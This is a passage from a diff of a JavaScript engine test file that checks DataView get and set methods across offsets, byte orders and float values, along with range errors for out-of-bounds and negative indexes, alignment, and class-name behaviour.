view.setUint32(12, 4244504319); + assertEq(view.getUint32(12), 4244504319); + + // testFloatSets(start=undefined) + + // testFloatSet expected=10 + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat32(0, 10, true); + assertEq(view.getFloat32(0, true), 10); + var buffer13_pad3 = new Uint8Array(Array(3).concat(data13)).buffer; + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat32(3, 10, true); + assertEq(view.getFloat32(3, true), 10); + var buffer13_pad7 = new Uint8Array(Array(7).concat(data13)).buffer; + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat32(7, 10, true); + assertEq(view.getFloat32(7, true), 10); + var buffer13_pad10 = new Uint8Array(Array(10).concat(data13)).buffer; + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat32(10, 10, true); + assertEq(view.getFloat32(10, true), 10); + // Big endian. + var buffer13_r = new Uint8Array(data13_r).buffer; + view = new DataView(buffer13_r, 0, 16); + view.setFloat32(0, 10, false); + assertEq(view.getFloat32(0, false), 10); + var buffer13_r_pad3 = new Uint8Array(Array(3).concat(data13_r)).buffer; + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat32(3, 10, false); + assertEq(view.getFloat32(3, false), 10); + var buffer13_r_pad7 = new Uint8Array(Array(7).concat(data13_r)).buffer; + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat32(7, 10, false); + assertEq(view.getFloat32(7, false), 10); + var buffer13_r_pad10 = new Uint8Array(Array(10).concat(data13_r)).buffer; + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat32(10, 10, false); + assertEq(view.getFloat32(10, false), 10); + + // testFloatSet expected=1.2300000190734863 + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat32(0, 1.2300000190734863, true); + assertEq(view.getFloat32(0, true), 1.2300000190734863); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat32(3, 1.2300000190734863, true); + assertEq(view.getFloat32(3, true), 1.2300000190734863); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat32(7, 1.2300000190734863, true); + assertEq(view.getFloat32(7, true), 1.2300000190734863); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat32(10, 1.2300000190734863, true); + assertEq(view.getFloat32(10, true), 1.2300000190734863); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat32(0, 1.2300000190734863, false); + assertEq(view.getFloat32(0, false), 1.2300000190734863); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat32(3, 1.2300000190734863, false); + assertEq(view.getFloat32(3, false), 1.2300000190734863); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat32(7, 1.2300000190734863, false); + assertEq(view.getFloat32(7, false), 1.2300000190734863); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat32(10, 1.2300000190734863, false); + assertEq(view.getFloat32(10, false), 1.2300000190734863); + + // testFloatSet expected=-45621.37109375 + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat32(0, -45621.37109375, true); + assertEq(view.getFloat32(0, true), -45621.37109375); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat32(3, -45621.37109375, true); + assertEq(view.getFloat32(3, true), -45621.37109375); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat32(7, -45621.37109375, true); + assertEq(view.getFloat32(7, true), -45621.37109375); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat32(10, -45621.37109375, true); + assertEq(view.getFloat32(10, true), -45621.37109375); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat32(0, -45621.37109375, false); + assertEq(view.getFloat32(0, false), -45621.37109375); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat32(3, -45621.37109375, false); + assertEq(view.getFloat32(3, false), -45621.37109375); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat32(7, -45621.37109375, false); + assertEq(view.getFloat32(7, false), -45621.37109375); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat32(10, -45621.37109375, false); + assertEq(view.getFloat32(10, false), -45621.37109375); + + // testFloatSet expected=NaN + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat32(0, NaN, true); + assertEq(view.getFloat32(0, true), NaN); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat32(3, NaN, true); + assertEq(view.getFloat32(3, true), NaN); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat32(7, NaN, true); + assertEq(view.getFloat32(7, true), NaN); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat32(10, NaN, true); + assertEq(view.getFloat32(10, true), NaN); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat32(0, NaN, false); + assertEq(view.getFloat32(0, false), NaN); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat32(3, NaN, false); + assertEq(view.getFloat32(3, false), NaN); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat32(7, NaN, false); + assertEq(view.getFloat32(7, false), NaN); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat32(10, NaN, false); + assertEq(view.getFloat32(10, false), NaN); + + // testFloatSet expected=-NaN + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat32(0, -NaN, true); + assertEq(view.getFloat32(0, true), -NaN); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat32(3, -NaN, true); + assertEq(view.getFloat32(3, true), -NaN); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat32(7, -NaN, true); + assertEq(view.getFloat32(7, true), -NaN); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat32(10, -NaN, true); + assertEq(view.getFloat32(10, true), -NaN); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat32(0, -NaN, false); + assertEq(view.getFloat32(0, false), -NaN); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat32(3, -NaN, false); + assertEq(view.getFloat32(3, false), -NaN); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat32(7, -NaN, false); + assertEq(view.getFloat32(7, false), -NaN); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat32(10, -NaN, false); + assertEq(view.getFloat32(10, false), -NaN); + + // testFloatSet expected=10 + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat64(0, 10, true); + assertEq(view.getFloat64(0, true), 10); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat64(3, 10, true); + assertEq(view.getFloat64(3, true), 10); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat64(7, 10, true); + assertEq(view.getFloat64(7, true), 10); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat64(10, 10, true); + assertEq(view.getFloat64(10, true), 10); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat64(0, 10, false); + assertEq(view.getFloat64(0, false), 10); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat64(3, 10, false); + assertEq(view.getFloat64(3, false), 10); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat64(7, 10, false); + assertEq(view.getFloat64(7, false), 10); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat64(10, 10, false); + assertEq(view.getFloat64(10, false), 10); + + // testFloatSet expected=1.23 + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat64(0, 1.23, true); + assertEq(view.getFloat64(0, true), 1.23); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat64(3, 1.23, true); + assertEq(view.getFloat64(3, true), 1.23); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat64(7, 1.23, true); + assertEq(view.getFloat64(7, true), 1.23); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat64(10, 1.23, true); + assertEq(view.getFloat64(10, true), 1.23); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat64(0, 1.23, false); + assertEq(view.getFloat64(0, false), 1.23); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat64(3, 1.23, false); + assertEq(view.getFloat64(3, false), 1.23); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat64(7, 1.23, false); + assertEq(view.getFloat64(7, false), 1.23); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat64(10, 1.23, false); + assertEq(view.getFloat64(10, false), 1.23); + + // testFloatSet expected=-6213576.4839 + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat64(0, -6213576.4839, true); + assertEq(view.getFloat64(0, true), -6213576.4839); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat64(3, -6213576.4839, true); + assertEq(view.getFloat64(3, true), -6213576.4839); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat64(7, -6213576.4839, true); + assertEq(view.getFloat64(7, true), -6213576.4839); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat64(10, -6213576.4839, true); + assertEq(view.getFloat64(10, true), -6213576.4839); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat64(0, -6213576.4839, false); + assertEq(view.getFloat64(0, false), -6213576.4839); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat64(3, -6213576.4839, false); + assertEq(view.getFloat64(3, false), -6213576.4839); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat64(7, -6213576.4839, false); + assertEq(view.getFloat64(7, false), -6213576.4839); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat64(10, -6213576.4839, false); + assertEq(view.getFloat64(10, false), -6213576.4839); + + // testFloatSet expected=NaN + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat64(0, NaN, true); + assertEq(view.getFloat64(0, true), NaN); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat64(3, NaN, true); + assertEq(view.getFloat64(3, true), NaN); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat64(7, NaN, true); + assertEq(view.getFloat64(7, true), NaN); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat64(10, NaN, true); + assertEq(view.getFloat64(10, true), NaN); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat64(0, NaN, false); + assertEq(view.getFloat64(0, false), NaN); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat64(3, NaN, false); + assertEq(view.getFloat64(3, false), NaN); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat64(7, NaN, false); + assertEq(view.getFloat64(7, false), NaN); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat64(10, NaN, false); + assertEq(view.getFloat64(10, false), NaN); + + // testFloatSet expected=-NaN + // Little endian + view = new DataView(buffer13, 0, 16); + view.setFloat64(0, -NaN, true); + assertEq(view.getFloat64(0, true), -NaN); + view = new DataView(buffer13_pad3, 0, 19); + view.setFloat64(3, -NaN, true); + assertEq(view.getFloat64(3, true), -NaN); + view = new DataView(buffer13_pad7, 0, 23); + view.setFloat64(7, -NaN, true); + assertEq(view.getFloat64(7, true), -NaN); + view = new DataView(buffer13_pad10, 0, 26); + view.setFloat64(10, -NaN, true); + assertEq(view.getFloat64(10, true), -NaN); + // Big endian. + view = new DataView(buffer13_r, 0, 16); + view.setFloat64(0, -NaN, false); + assertEq(view.getFloat64(0, false), -NaN); + view = new DataView(buffer13_r_pad3, 0, 19); + view.setFloat64(3, -NaN, false); + assertEq(view.getFloat64(3, false), -NaN); + view = new DataView(buffer13_r_pad7, 0, 23); + view.setFloat64(7, -NaN, false); + assertEq(view.getFloat64(7, false), -NaN); + view = new DataView(buffer13_r_pad10, 0, 26); + view.setFloat64(10, -NaN, false); + assertEq(view.getFloat64(10, false), -NaN); + + // Test for set methods that might write beyond the range + + // testIntegerSets(start=3, length=2) + view = new DataView(buffer13, 3, 2); + view.setInt8(0, 0); + assertEq(view.getInt8(0), 0); + checkThrow(() => view.setInt8(8, -128), RangeError); + checkThrow(() => view.setInt8(15, -1), RangeError); + view.setUint8(0, 0); + assertEq(view.getUint8(0), 0); + checkThrow(() => view.setUint8(8, 128), RangeError); + checkThrow(() => view.setUint8(15, 255), RangeError); + view.setInt16(0, 256, true); + assertEq(view.getInt16(0, true), 256); + checkThrow(() => view.setInt16(5, 26213, true), RangeError); + checkThrow(() => view.setInt16(9, -32127, true), RangeError); + checkThrow(() => view.setInt16(14, -2, true), RangeError); + view.setInt16(0, 1); + assertEq(view.getInt16(0), 1); + checkThrow(() => view.setInt16(5, 25958), RangeError); + checkThrow(() => view.setInt16(9, -32382), RangeError); + checkThrow(() => view.setInt16(14, -257), RangeError); + view.setUint16(0, 256, true); + assertEq(view.getUint16(0, true), 256); + checkThrow(() => view.setUint16(5, 26213, true), RangeError); + checkThrow(() => view.setUint16(9, 33409, true), RangeError); + checkThrow(() => view.setUint16(14, 65534, true), RangeError); + view.setUint16(0, 1); + assertEq(view.getUint16(0), 1); + checkThrow(() => view.setUint16(5, 25958), RangeError); + checkThrow(() => view.setUint16(9, 33154), RangeError); + checkThrow(() => view.setUint16(14, 65279), RangeError); + checkThrow(() => view.setInt32(0, 50462976, true), RangeError); + checkThrow(() => view.setInt32(3, 1717920771, true), RangeError); + checkThrow(() => view.setInt32(6, -2122291354, true), RangeError); + checkThrow(() => view.setInt32(9, -58490239, true), RangeError); + checkThrow(() => view.setInt32(12, -66052, true), RangeError); + checkThrow(() => view.setInt32(0, 66051), RangeError); + checkThrow(() => view.setInt32(3, 56911206), RangeError); + checkThrow(() => view.setInt32(6, 1718059137), RangeError); + checkThrow(() => view.setInt32(9, -2122152964), RangeError); + checkThrow(() => view.setInt32(12, -50462977), RangeError); + checkThrow(() => view.setUint32(0, 50462976, true), RangeError); + checkThrow(() => view.setUint32(3, 1717920771, true), RangeError); + checkThrow(() => view.setUint32(6, 2172675942, true), RangeError); + checkThrow(() => view.setUint32(9, 4236477057, true), RangeError); + checkThrow(() => view.setUint32(12, 4294901244, true), RangeError); + checkThrow(() => view.setUint32(0, 66051), RangeError); + checkThrow(() => view.setUint32(3, 56911206), RangeError); + checkThrow(() => view.setUint32(6, 1718059137), RangeError); + checkThrow(() => view.setUint32(9, 2172814332), RangeError); + checkThrow(() => view.setUint32(12, 4244504319), RangeError); + + // testFloatSets(start=7) + + // testFloatSet expected=10 + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat32(0, 10, true); + assertEq(view.getFloat32(0, true), 10); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat32(3, 10, true); + assertEq(view.getFloat32(3, true), 10); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat32(7, 10, true); + assertEq(view.getFloat32(7, true), 10); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat32(10, 10, true); + assertEq(view.getFloat32(10, true), 10); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat32(0, 10, false); + assertEq(view.getFloat32(0, false), 10); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat32(3, 10, false); + assertEq(view.getFloat32(3, false), 10); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat32(7, 10, false); + assertEq(view.getFloat32(7, false), 10); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat32(10, 10, false); + assertEq(view.getFloat32(10, false), 10); + + // testFloatSet expected=1.2300000190734863 + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat32(0, 1.2300000190734863, true); + assertEq(view.getFloat32(0, true), 1.2300000190734863); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat32(3, 1.2300000190734863, true); + assertEq(view.getFloat32(3, true), 1.2300000190734863); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat32(7, 1.2300000190734863, true); + assertEq(view.getFloat32(7, true), 1.2300000190734863); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat32(10, 1.2300000190734863, true); + assertEq(view.getFloat32(10, true), 1.2300000190734863); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat32(0, 1.2300000190734863, false); + assertEq(view.getFloat32(0, false), 1.2300000190734863); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat32(3, 1.2300000190734863, false); + assertEq(view.getFloat32(3, false), 1.2300000190734863); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat32(7, 1.2300000190734863, false); + assertEq(view.getFloat32(7, false), 1.2300000190734863); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat32(10, 1.2300000190734863, false); + assertEq(view.getFloat32(10, false), 1.2300000190734863); + + // testFloatSet expected=-45621.37109375 + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat32(0, -45621.37109375, true); + assertEq(view.getFloat32(0, true), -45621.37109375); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat32(3, -45621.37109375, true); + assertEq(view.getFloat32(3, true), -45621.37109375); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat32(7, -45621.37109375, true); + assertEq(view.getFloat32(7, true), -45621.37109375); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat32(10, -45621.37109375, true); + assertEq(view.getFloat32(10, true), -45621.37109375); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat32(0, -45621.37109375, false); + assertEq(view.getFloat32(0, false), -45621.37109375); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat32(3, -45621.37109375, false); + assertEq(view.getFloat32(3, false), -45621.37109375); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat32(7, -45621.37109375, false); + assertEq(view.getFloat32(7, false), -45621.37109375); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat32(10, -45621.37109375, false); + assertEq(view.getFloat32(10, false), -45621.37109375); + + // testFloatSet expected=NaN + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat32(0, NaN, true); + assertEq(view.getFloat32(0, true), NaN); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat32(3, NaN, true); + assertEq(view.getFloat32(3, true), NaN); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat32(7, NaN, true); + assertEq(view.getFloat32(7, true), NaN); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat32(10, NaN, true); + assertEq(view.getFloat32(10, true), NaN); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat32(0, NaN, false); + assertEq(view.getFloat32(0, false), NaN); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat32(3, NaN, false); + assertEq(view.getFloat32(3, false), NaN); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat32(7, NaN, false); + assertEq(view.getFloat32(7, false), NaN); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat32(10, NaN, false); + assertEq(view.getFloat32(10, false), NaN); + + // testFloatSet expected=-NaN + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat32(0, -NaN, true); + assertEq(view.getFloat32(0, true), -NaN); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat32(3, -NaN, true); + assertEq(view.getFloat32(3, true), -NaN); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat32(7, -NaN, true); + assertEq(view.getFloat32(7, true), -NaN); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat32(10, -NaN, true); + assertEq(view.getFloat32(10, true), -NaN); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat32(0, -NaN, false); + assertEq(view.getFloat32(0, false), -NaN); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat32(3, -NaN, false); + assertEq(view.getFloat32(3, false), -NaN); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat32(7, -NaN, false); + assertEq(view.getFloat32(7, false), -NaN); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat32(10, -NaN, false); + assertEq(view.getFloat32(10, false), -NaN); + + // testFloatSet expected=10 + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat64(0, 10, true); + assertEq(view.getFloat64(0, true), 10); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat64(3, 10, true); + assertEq(view.getFloat64(3, true), 10); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat64(7, 10, true); + assertEq(view.getFloat64(7, true), 10); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat64(10, 10, true); + assertEq(view.getFloat64(10, true), 10); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat64(0, 10, false); + assertEq(view.getFloat64(0, false), 10); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat64(3, 10, false); + assertEq(view.getFloat64(3, false), 10); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat64(7, 10, false); + assertEq(view.getFloat64(7, false), 10); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat64(10, 10, false); + assertEq(view.getFloat64(10, false), 10); + + // testFloatSet expected=1.23 + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat64(0, 1.23, true); + assertEq(view.getFloat64(0, true), 1.23); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat64(3, 1.23, true); + assertEq(view.getFloat64(3, true), 1.23); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat64(7, 1.23, true); + assertEq(view.getFloat64(7, true), 1.23); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat64(10, 1.23, true); + assertEq(view.getFloat64(10, true), 1.23); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat64(0, 1.23, false); + assertEq(view.getFloat64(0, false), 1.23); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat64(3, 1.23, false); + assertEq(view.getFloat64(3, false), 1.23); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat64(7, 1.23, false); + assertEq(view.getFloat64(7, false), 1.23); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat64(10, 1.23, false); + assertEq(view.getFloat64(10, false), 1.23); + + // testFloatSet expected=-6213576.4839 + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat64(0, -6213576.4839, true); + assertEq(view.getFloat64(0, true), -6213576.4839); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat64(3, -6213576.4839, true); + assertEq(view.getFloat64(3, true), -6213576.4839); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat64(7, -6213576.4839, true); + assertEq(view.getFloat64(7, true), -6213576.4839); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat64(10, -6213576.4839, true); + assertEq(view.getFloat64(10, true), -6213576.4839); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat64(0, -6213576.4839, false); + assertEq(view.getFloat64(0, false), -6213576.4839); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat64(3, -6213576.4839, false); + assertEq(view.getFloat64(3, false), -6213576.4839); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat64(7, -6213576.4839, false); + assertEq(view.getFloat64(7, false), -6213576.4839); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat64(10, -6213576.4839, false); + assertEq(view.getFloat64(10, false), -6213576.4839); + + // testFloatSet expected=NaN + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat64(0, NaN, true); + assertEq(view.getFloat64(0, true), NaN); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat64(3, NaN, true); + assertEq(view.getFloat64(3, true), NaN); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat64(7, NaN, true); + assertEq(view.getFloat64(7, true), NaN); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat64(10, NaN, true); + assertEq(view.getFloat64(10, true), NaN); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat64(0, NaN, false); + assertEq(view.getFloat64(0, false), NaN); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat64(3, NaN, false); + assertEq(view.getFloat64(3, false), NaN); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat64(7, NaN, false); + assertEq(view.getFloat64(7, false), NaN); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat64(10, NaN, false); + assertEq(view.getFloat64(10, false), NaN); + + // testFloatSet expected=-NaN + // Little endian + view = new DataView(buffer13, 7, 9); + view.setFloat64(0, -NaN, true); + assertEq(view.getFloat64(0, true), -NaN); + view = new DataView(buffer13_pad3, 7, 12); + view.setFloat64(3, -NaN, true); + assertEq(view.getFloat64(3, true), -NaN); + view = new DataView(buffer13_pad7, 7, 16); + view.setFloat64(7, -NaN, true); + assertEq(view.getFloat64(7, true), -NaN); + view = new DataView(buffer13_pad10, 7, 19); + view.setFloat64(10, -NaN, true); + assertEq(view.getFloat64(10, true), -NaN); + // Big endian. + view = new DataView(buffer13_r, 7, 9); + view.setFloat64(0, -NaN, false); + assertEq(view.getFloat64(0, false), -NaN); + view = new DataView(buffer13_r_pad3, 7, 12); + view.setFloat64(3, -NaN, false); + assertEq(view.getFloat64(3, false), -NaN); + view = new DataView(buffer13_r_pad7, 7, 16); + view.setFloat64(7, -NaN, false); + assertEq(view.getFloat64(7, false), -NaN); + view = new DataView(buffer13_r_pad10, 7, 19); + view.setFloat64(10, -NaN, false); + assertEq(view.getFloat64(10, false), -NaN); + + // Test for set methods that write to negative index + + // testSetNegativeIndexes + view = new DataView(buffer1, 0, 16); + checkThrow(() => view.setInt8(-1, 0), RangeError); + checkThrow(() => view.setInt8(-2, 0), RangeError); + checkThrow(() => view.setUint8(-1, 0), RangeError); + checkThrow(() => view.setUint8(-2, 0), RangeError); + checkThrow(() => view.setInt16(-1, 0), RangeError); + checkThrow(() => view.setInt16(-2, 0), RangeError); + checkThrow(() => view.setInt16(-3, 0), RangeError); + checkThrow(() => view.setUint16(-1, 0), RangeError); + checkThrow(() => view.setUint16(-2, 0), RangeError); + checkThrow(() => view.setUint16(-3, 0), RangeError); + checkThrow(() => view.setInt32(-1, 0), RangeError); + checkThrow(() => view.setInt32(-3, 0), RangeError); + checkThrow(() => view.setInt32(-5, 0), RangeError); + checkThrow(() => view.setUint32(-1, 0), RangeError); + checkThrow(() => view.setUint32(-3, 0), RangeError); + checkThrow(() => view.setUint32(-5, 0), RangeError); + view = new DataView(buffer7, 0, 8); + checkThrow(() => view.setFloat32(-1, 0), RangeError); + checkThrow(() => view.setFloat32(-3, 0), RangeError); + checkThrow(() => view.setFloat32(-5, 0), RangeError); + checkThrow(() => view.setFloat64(-1, 0), RangeError); + checkThrow(() => view.setFloat64(-5, 0), RangeError); + checkThrow(() => view.setFloat64(-9, 0), RangeError); + + // Too large for signed 32 bit integer index + checkThrow(() => view.setInt8(2147483649, 1), RangeError); + checkThrow(() => view.setUint8(2147483649, 1), RangeError); + checkThrow(() => view.setInt16(2147483649, 1), RangeError); + checkThrow(() => view.setUint16(2147483649, 1), RangeError); + checkThrow(() => view.setInt32(2147483649, 1), RangeError); + checkThrow(() => view.setUint32(2147483649, 1), RangeError); + checkThrow(() => view.setFloat32(2147483649, 1), RangeError); + checkThrow(() => view.setFloat64(2147483649, 1), RangeError); + + // testAlignment + var intArray1 = [0, 1, 2, 3, 100, 101, 102, 103, 128, 129, 130, 131, 252, 253, 254, 255]; + view = new DataView((new Uint8Array(intArray1)).buffer, 0); + assertEq(view.getUint32(0, false), 0x00010203); + view = new DataView((new Uint8Array(intArray1)).buffer, 1); + assertEq(view.getUint32(0, false), 0x01020364); + view = new DataView((new Uint8Array(intArray1)).buffer, 2); + assertEq(view.getUint32(0, false), 0x02036465); + view = new DataView((new Uint8Array(intArray1)).buffer, 3); + assertEq(view.getUint32(0, false), 0x03646566); + view = new DataView((new Uint8Array(intArray1)).buffer, 4); + assertEq(view.getUint32(0, false), 0x64656667); + view = new DataView((new Uint8Array(intArray1)).buffer, 5); + assertEq(view.getUint32(0, false), 0x65666780); + view = new DataView((new Uint8Array(intArray1)).buffer, 6); + assertEq(view.getUint32(0, false), 0x66678081); + view = new DataView((new Uint8Array(intArray1)).buffer, 7); + assertEq(view.getUint32(0, false), 0x67808182); + + // Test for indexing into a DataView, which should not use the ArrayBuffer storage + view = new DataView((new Uint8Array([1, 2])).buffer); + assertEq(view[0], undefined); + view[0] = 3; + assertEq(view[0], 3); + assertEq(view.getUint8(0), 1); + + // Test WebIDL-specific class and prototype class names + assertEq(Object.prototype.toString.apply(new Uint8Array(0)), "[object Uint8Array]"); + assertEq(Object.prototype.toString.apply(new Float32Array(0)), "[object Float32Array]"); + assertEq(Object.prototype.toString.apply(new ArrayBuffer()), "[object ArrayBuffer]"); + assertEq(Object.prototype.toString.apply(new DataView(view.buffer)), "[object DataView]"); + assertEq(Object.prototype.toString.apply(DataView.prototype), "[object DataView]"); + + // Technically the spec requires these throw a TypeError -- right now. It's + // not clear this is desirable. Once we implement @@toStringTag we can see + // whether ES6's desired semantics will work. + assertEq(Object.prototype.toString.apply(Uint8Array.prototype), "[object Uint8ArrayPrototype]"); + assertEq(Object.prototype.toString.apply(Float32Array.prototype), "[object Float32ArrayPrototype]"); + + // Same applies for %TypedArray%.prototype, except because of its newness we + // give it the thoroughly-inscrutable "???" as its class name so (hopefully) + // people won't rely on it. ("???" is the class exposed by + // ({ [@@toStringTag]: nonUndefinedNonStringValue }).toString(), so + // it has slight precedent even if it's not-to-spec.) + checkThrowTODO(() => { + var typedArrayPrototype = Object.getPrototypeOf(Float32Array.prototype); + assertEq(Object.prototype.toString.apply(typedArrayPrototype), + "[object ???]"); + }, TypeError); + + // Accessing DataView fields on DataView.prototype should crash + checkThrow(() => DataView.prototype.byteLength, TypeError); + checkThrow(() => DataView.prototype.byteOffset, TypeError); + checkThrow(() => DataView.prototype.buffer, TypeError); + + // Protos and proxies, oh my! + var alien = newGlobal(); + var alien_data = alien.eval('data = ' + data1.toSource()); + var alien_buffer = alien.eval('buffer = new Uint8Array(data).buffer'); + var alien_view = alien.eval('view = new DataView(buffer, 0, 16)'); + + // proto is view of buffer: should throw + var o = Object.create(view1); + checkThrow(() => o.getUint8(4), TypeError); // WebIDL 